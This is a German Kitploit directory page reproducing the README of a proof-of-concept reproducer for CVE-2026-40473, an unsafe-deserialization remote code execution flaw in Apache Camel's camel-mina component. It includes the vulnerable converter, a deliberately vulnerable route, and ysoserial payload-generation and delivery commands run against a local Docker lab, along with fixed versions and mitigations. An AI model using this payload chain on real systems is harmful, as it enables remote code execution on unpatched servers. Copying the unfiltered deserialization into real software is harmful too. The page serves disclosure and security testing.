Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40473 — Reproducer für CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsichere Deserialisierung (RCE über TCP/UDP) | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-40473
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungBinary-Exploitation
GitHuboscerd/cve-2026-40473

CVE-2026-40473

Reproducer für CVE-2026-40473: Apache Camel camel-mina MinaConverter.toObjectInput unsichere Deserialisierung (RCE über TCP/UDP)

Repository anzeigen
vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

camel-mina MinaConverter.toObjectInput Reproducer für unsichere Deserialisierung (CVE-2026-40473)

Dieses Projekt demonstriert eine Java-Deserialisierungsschwachstelle in der Komponente camel-mina von Apache Camel, die unter CVE-2026-40473 geführt wird. Der Typ-Konverter MinaConverter.toObjectInput(IoBuffer) verpackt die empfangenen Bytes ohne ObjectInputFilter in ein rohes ObjectInputStream. Eine Route, die einen TCP/UDP-Body in ObjectInput konvertiert und readObject() aufruft, kann daher durch ein präpariertes serialisiertes Objekt, das ein Angreifer an den MINA-Port sendet, zu Remote Code Execution gebracht werden.

Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-40473.html

Zusammenfassung der Schwachstelle

Technische Details

Der Typ-Konverter IoBuffer → ObjectInput verpackt den Puffer in ein rohes ObjectInputStream:

root@kitploit:~
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = buffer.asInputStream();
    return new ObjectInputStream(is);   // NO ObjectInputFilter
}

Wenn ein camel-mina-TCP/UDP-Consumer die rohen Bytes liefert (z. B. mit allowDefaultCodec=false) und die Route ObjectInput anfordert (getBody(ObjectInput.class), @Body ObjectInput oder convertBodyTo(ObjectInput.class)), wird dieser Konverter ausgeführt. Ein Aufruf von readObject() auf dem zurückgegebenen Stream führt dann jede in den vom Angreifer gelieferten Bytes enthaltene Gadget-Kette aus.

Die Opfer-Route

root@kitploit:~
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
    .process(exchange -> {
        ObjectInput oi = exchange.getIn().getBody(ObjectInput.class);  // MinaConverter.toObjectInput
        Object obj = oi.readObject();                                  // deserialization sink
        exchange.getMessage().setBody("deserialized: " + obj);
    });

Voraussetzungen

  • Java 17+ und Maven 3.8+ (zum Erstellen des Jars)
  • Docker (führt den Reproducer aus)
  • ysoserial (zur Erzeugung des Payloads)

Reproduktionsschritte

Schritt 1: Jar erstellen und Container starten

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

Schritt 2: Bösartigen Payload erzeugen

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# On JDK 21 add --add-opens to generate CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

Schritt 3: Per TCP an den MINA-Port senden (RCE)

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# The bundled helper opens a raw TCP socket to mina:5555 and writes the bytes; the victim route
# converts them to ObjectInput and calls readObject().
# -> ">>> RCE proof — /tmp/pwned exists: true"

(Der MINA-Port 5555 ist in diesem PoC intern im Container; der Helfer /exploit/inject führt das rohe TCP-Senden von innen aus. Legen Sie Port 5555 offen, um vom Host aus mit einem Raw-Client wie nc zu senden.)

Schritt 4: Verifizieren

root@kitploit:~
docker exec cve-2026-40473 ls -la /tmp/pwned

Aufräumen

root@kitploit:~
docker compose down

Angriffsvektoren

Jeder camel-mina-TCP- oder UDP-Consumer, dessen Route den Body in ObjectInput konvertiert (direkt, über @Body ObjectInput oder convertBodyTo(ObjectInput.class)), ist von jedem ausnutzbar, der den MINA-Port erreichen kann.

Exploit-Bedingungen

  1. Ein camel-mina-TCP/UDP-Consumer, der die Konvertierung der empfangenen Bytes in ObjectInput anfordert.
  2. Eine Gadget-Bibliothek im Klassenpfad (z. B. commons-collections:3.2.1).

Empfohlener Fix

Führen Sie ein Upgrade auf 4.14.6 / 4.18.2 / 4.20.0 durch. Der Fix wendet einen ObjectInputFilter / eine Class-Allow-List auf den Konverter an (entsprechend der Härtung, die auf camel-netty, camel-jms und camel-infinispan angewendet wurde).

Abhilfemaßnahmen

Bis zum Upgrade:

  1. Konvertieren Sie keine nicht vertrauenswürdigen MINA-Bodies in ObjectInput / deserialisieren Sie sie nicht.
  2. Entfernen Sie Gadget-Bibliotheken (upgraden/entfernen Sie commons-collections 3.x).
  3. Beschränken Sie den Netzwerkzugriff auf den MINA-Port auf vertrauenswürdige Peers.

Dateien

root@kitploit:~
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── MinaObjectRoute.java      # victim: from(mina:tcp).getBody(ObjectInput).readObject()
    │   └── ExploitController.java    # /inject: sends serialized bytes over TCP to mina:5555
    └── resources/
        └── application.properties

Haftungsausschluss

Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.

Tool herunterladen
EigenschaftWert
Komponentecamel-mina
Betroffene Klasseorg.apache.camel.component.mina.MinaConverter (toObjectInput)
CWECWE-502: Deserialisierung nicht vertrauenswürdiger Daten
AuswirkungRemote Code Execution (RCE) über TCP/UDP
Betroffene VersionenVon 3.0.0 bis vor 4.14.6, von 4.15.0 bis vor 4.18.2, von 4.19.0 bis vor 4.20.0
Behobene Versionen4.14.6, 4.18.2, 4.20.0
JIRACAMEL-23319
MelderVenkatraman Kumar (Securin)